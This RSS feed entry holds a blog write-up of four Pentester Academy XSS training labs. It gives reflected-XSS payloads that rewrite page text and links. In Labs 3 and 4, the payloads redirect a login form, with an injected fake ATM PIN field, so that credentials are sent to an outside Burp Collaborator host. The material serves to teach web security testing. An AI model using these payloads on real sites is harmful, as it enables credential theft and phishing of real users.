<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ZVirtuoso on Medium]]></title>
        <description><![CDATA[Stories by ZVirtuoso on Medium]]></description>
        <link>https://medium.com/@mohamedzayedgaber11?source=rss-e7ba8c315f40------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*1dZMznDGt06dHGC-UqvI6g.png</url>
            <title>Stories by ZVirtuoso on Medium</title>
            <link>https://medium.com/@mohamedzayedgaber11?source=rss-e7ba8c315f40------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 22:53:40 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mohamedzayedgaber11/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Pentester Academy XSS labs]]></title>
            <link>https://medium.com/@mohamedzayedgaber11/pentester-academy-xss-labs-c6a257e3d5bb?source=rss-e7ba8c315f40------2</link>
            <guid isPermaLink="false">https://medium.com/p/c6a257e3d5bb</guid>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <dc:creator><![CDATA[ZVirtuoso]]></dc:creator>
            <pubDate>Tue, 19 Aug 2025 10:52:18 GMT</pubDate>
            <atom:updated>2025-08-19T10:52:18.241Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_oEatWsYtHO6pmjigVrvZg.png" /></figure><h3>About Author:</h3><blockquote>I’m Mohamed Zayed, aka ZVirtuoso a Security Researcher &amp; Bug-hunter, This is my first write-up where I’m sharing hands-on labs from PentesterAcademyLab.</blockquote><h3>Intro</h3><blockquote>Hello Everybody Today we&#39;re diving into practical JavaScript exploitation with Pentester Academy&#39;s XSS labs. We&#39;ll walk through techniques like form hijacking, UI manipulation, and DOM pivoting. These labs show how attackers abuse unsanitized inputs to steal credentials, redirect users, and alter page content. Have your Coffee - let&#39;s break-in …</blockquote><h3>Prerequisites</h3><blockquote>Basic knowledge of HTML &amp; JavaScript</blockquote><blockquote>Knowing how to use console to test JavaScript code</blockquote><h3>Lab 1 – Walkthrough</h3><blockquote>Challenge URL: http://pentesteracademylab.appspot.com/lab/webapp/jfp/1</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NMfzHtEZ_N3GGS_-jV13sw.png" /></figure><h4>Objective</h4><blockquote>1. Change &quot;Modify me&quot; to &quot;Modified you&quot;</blockquote><blockquote>2. Change &quot;Find me&quot; to &quot;Found you&quot;</blockquote><h4>Solution</h4><p>I began by testing input reflection using a simple string &lt;h2&gt;testing&lt;/h2&gt; in the obvious input field. The payload rendered directly in the page content, confirming I could inject HTML/JS without needing the console, clear evidence of XSS.</p><p>After reviewing the JS code (F12 → Sources → `page-scripts.js`), I found no function modifying the HTML, this means we are dealing with a Reflected XSS.</p><p>By inspecting the page revealed the target elements:</p><blockquote>- &quot;Find me&quot; was in the only &lt;h1&gt; tag</blockquote><blockquote>- &quot;Modify me&quot; had a unique class form-signin-heading</blockquote><p>so we can get them using the following payloads :</p><pre>document.getElementsByTagName(&quot;h1&quot;);<br>document.getElementsByClassName(&quot;form-signin-heading&quot;);<br><br>//test them in the console</pre><p>Then What ?!</p><p>We need to modify them as required, so i select the an element form the htmlcollection using [ ] and the method .innerHTML to rewrite the content of those headers.</p><pre>document.getElementsByTagName(&quot;h1&quot;)[0].innerHTML = &quot;Modified you&quot;;<br>document.getElementsByClassName(&quot;form-signin-heading&quot;)[0].innerHTML = &quot;Found you&quot;;</pre><p>using the previous payload in the console, we successfully changed the header and complete the task, but wait !!!</p><p>Now we need to do it through the input field not the console, Like a REAL Hacker !!</p><p>so adding the <em>script</em> tag to warp the payload and put it in the obvious input field. now our mission is completed ...</p><pre>&lt;script&gt;<br>  document.getElementsByTagName(&quot;h1&quot;)[0].innerHTML = &quot;Modified you&quot;;<br>  document.getElementsByClassName(&quot;form-signin-heading&quot;)[0].innerHTML = &quot;Found you&quot;;<br>&lt;/script&gt;</pre><h4>Results</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*nSRJ8jh6er_VmHZo2yxUdw.png" /></figure><h3>Lab 2 – Walkthrough</h3><blockquote>Challenge URL: http://pentesteracademylab.appspot.com/lab/webapp/jfp/2</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ijep6LFAAO8dJUd7x52UOg.png" /></figure><h4>Objective</h4><blockquote>- Modify all hyperlinks on the target page to redirect to http://PentesterAcademy/topics</blockquote><h4>Solution</h4><p>I started by confirming XSS vulnerability in an input field with a basic &lt;script&gt;alert(1)&lt;/script&gt; payload. The alert triggered immediately, confirming I could execute JavaScript directly without using browser dev tools (console).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7W3MWiZUTyv9Z5FbZTZy8g.png" /></figure><p>Next, i inspected the page structure to understand how links were implemented. All target links were &lt;a&gt; tags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*OF2wZ3jZ1_nyxa5i6G8rkw.png" /></figure><p>meaning I could manipulate them through the DOM&#39;s<em> </em><em>document.links</em> collection.</p><p>From here i had 2 ideas, First one is to loop on them manually and that will be bad practice if you know at least one programming language so i choose the second option which is dynamic looping with minimum keywords as i could, and it required 3 key steps:</p><blockquote>1. Convert the link collection to an array for iteration</blockquote><blockquote>2. Loop through each link element</blockquote><blockquote>3. Rewrite the `href` attribute</blockquote><pre>&lt;script&gt;<br>  Array.from(document.links).forEach(ele =&gt; ele.href = &quot;http://PentesterAcademy/topics&quot;);<br>&lt;/script&gt;</pre><h4>Result</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/1*k3kW74VQ3PWg61J5yWeAHg.png" /></figure><h3>Lab 3 – Walkthrough</h3><blockquote>Challenge URL: http://pentesteracademylab.appspot.com/lab/webapp/jfp/3</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yObm1wseuwcgLIha_YhpVQ.png" /></figure><h4>Objective</h4><blockquote>- Send Username &amp; Password to an attacker-controlled server.</blockquote><h4>Requirements</h4><blockquote>- User-Controlled server (here I used Burp Collaborator).</blockquote><h4>Solution</h4><p>I started by testing the obvious parameters -&gt; <em>email, </em><em>password, and </em><em>remember-me, </em>but none reflected input or showed potential XSS. Since I needed an injection point, I used Arjun to hunt for hidden parameters:</p><pre>arjun -u &quot;https://pentesteracademylab.appspot.com/lab/webapp/jfp/3&quot;</pre><p>This revealed a hidden<em> `url`</em> parameter. Testing it with <em>`&lt;h1&gt;test&lt;/h1&gt;`</em> showed perfect reflection, confirming it was vulnerable to HTML injection.</p><p>Next, I crafted JavaScript to hijack the form submission. The plan was simple:</p><blockquote>1. Change the form&#39;s `action` to my Burp Collaborator server</blockquote><blockquote>2. Ensure that the method is `GET` to make stolen credentials appear in the URL</blockquote><pre>document.forms[0].action = &quot;https://gtdqn72epd6slo8lgcet5v32itokca0z.oastify.com&quot;;<br>document.forms[0].method = &quot;get&quot;;</pre><p>after testing this payload in the console and inspect the form element again, it is changed !!!!</p><p>Here you should encode the payload after adding &lt;script&gt; tag because you will inject it directly to the URL. the final payload will be</p><pre>%3Cscript%3E%0A%09document.forms%5B0%5D.action%20%3D%20%22https%3A%2F%2Fgtdqn72epd6slo8lgcet5v32itokca0z.oastify.com%22%3B%20%0A%09document.forms%5B0%5D.method%20%3D%20%22get%22%3B%20%0A%3C%2Fscript%3E</pre><p>When injected via ?url= parameter, the page executed our script silently. The form looked unchanged to victims, but submitting credentials sent them straight to my server:</p><h4>Results :</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*xJndOYMbOQSXYCpmChJ13g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*emn6wweXWcbbZ45Pf2ukkQ.png" /></figure><h3>Lab 4 – Walkthrough</h3><blockquote>Challenge URL: https://pentesteracademylab.appspot.com/lab/webapp/jfp/4</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ODdm82BUc4iMIelyYC4gGg.png" /></figure><h4>Objective</h4><blockquote>The goal is to add a new ATM PIN field into the login form</blockquote><h4>Solution</h4><p>Like in Lab 3, I first confirmed the vulnerable parameter url by injecting a &lt;script&gt; tag and it executed perfectly, so XSS was possible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*vmwlRLXMZVjJwoo9ioe21Q.png" /></figure><p>then Inspecting the form structure showed that everything was wrapped inside a form element with the class form-signin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*5VMRyhoV_01ymV9WfH2BZA.png" /></figure><p>Now we know which field tag to modify</p><p>At first, I thought I could just insert the new ATM PIN field with innerHTML, but when I tried, it replaced the whole form content. Then I tried appending it, but the new field appeared at the end with weird formatting. Something was clearly off, so instead of trying to insert just one input, I decided to copy the full HTML of the form, add my new field where I wanted, and rewrite the whole thing with innerHTML.</p><h4>Recreate the full form HTML</h4><pre>document.getElementsByClassName(&quot;form-signin&quot;)[0].innerHTML = `&lt;form class=&quot;form-signin&quot;&gt;<br>&lt;h2 class=&quot;form-signin-heading&quot;&gt;Please sign in&lt;/h2&gt;<br>&lt;input type=&quot;text&quot; value=&quot;&quot; class=&quot;input-block-level&quot; placeholder=&quot;Email address&quot; name=&quot;email&quot;&gt;<br>&lt;input type=&quot;password&quot; class=&quot;input-block-level&quot; placeholder=&quot;Password&quot; name=&quot;password&quot;&gt;<br>&lt;input type=&quot;number&quot; value=&quot;&quot; class=&quot;input-block-level&quot; placeholder=&quot;ATM PIN&quot; name=&quot;ATM-PIN&quot;&gt;<br>&lt;label class=&quot;checkbox&quot;&gt;<br>&lt;input type=&quot;checkbox&quot; value=&quot;remember-me&quot; name=&quot;DoesThisMatter&quot;&gt; Remember me<br>&lt;/label&gt;<br>&lt;button class=&quot;btn btn-large btn-primary&quot; type=&quot;submit&quot;&gt;Sign in&lt;/button&gt;<br>&lt;/form&gt;`</pre><p>That worked fine for adding the field, but I still felt like something was missing to make this a real phishing-style attack. Just like the previous challenge, I needed to modify the action and method so the form would send all the data to my server. (not required but make it like a real attack)</p><p>Adding action &amp; method to complete the attack</p><pre>document.getElementsByClassName(&quot;form-signin&quot;)[0].action = &quot;https://gtdqn72epd6slo8lgcet5v32itokca0z.oastify.com&quot;;<br>document.getElementsByClassName(&quot;form-signin&quot;)[0].method = &quot;get&quot;;</pre><p>Finally, I combined everything into one&lt;script&gt; block so it would both change the form action/method and replace the HTML with my modified version:</p><pre>&lt;script&gt;<br>document.getElementsByClassName(&quot;form-signin&quot;)[0].action = &quot;https://gtdqn72epd6slo8lgcet5v32itokca0z.oastify.com&quot;; document.getElementsByClassName(&quot;form-signin&quot;)[0].method = &quot;get&quot;;<br><br>document.getElementsByClassName(&quot;form-signin&quot;)[0].innerHTML = `&lt;form class=&quot;form-signin&quot;&gt;<br> &lt;h2 class=&quot;form-signin-heading&quot;&gt;Please sign in&lt;/h2&gt;<br> &lt;input type=&quot;text&quot; value=&quot;&quot; class=&quot;input-block-level&quot; placeholder=&quot;Email address&quot; name=&quot;email&quot;&gt;<br> &lt;input type=&quot;password&quot; class=&quot;input-block-level&quot; placeholder=&quot;Password&quot; name=&quot;password&quot;&gt;<br> &lt;input type=&quot;number&quot; value=&quot;&quot; class=&quot;input-block-level&quot; placeholder=&quot;ATM PIN&quot; name=&quot;ATM-PIN&quot;&gt;<br> &lt;label class=&quot;checkbox&quot;&gt;<br> &lt;input type=&quot;checkbox&quot; value=&quot;remember-me&quot; name=&quot;DoesThisMatter&quot;&gt; Remember me<br> &lt;/label&gt;<br> &lt;button class=&quot;btn btn-large btn-primary&quot; type=&quot;submit&quot;&gt;Sign in&lt;/button&gt;<br> &lt;/form&gt;`<br>&lt;/script&gt;</pre><p>After encoding it (just like in the lab 3) and placing it into the vulnerable parameter url, the page displayed my fake form with the ATM PIN field and sent everything straight to my Burp Collaborator link when submitted.</p><h4>Final result:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QEvu9GpjPHod3HJmVgBGzg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uys7kjRDkKO5oDjz6tCMtw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c6a257e3d5bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>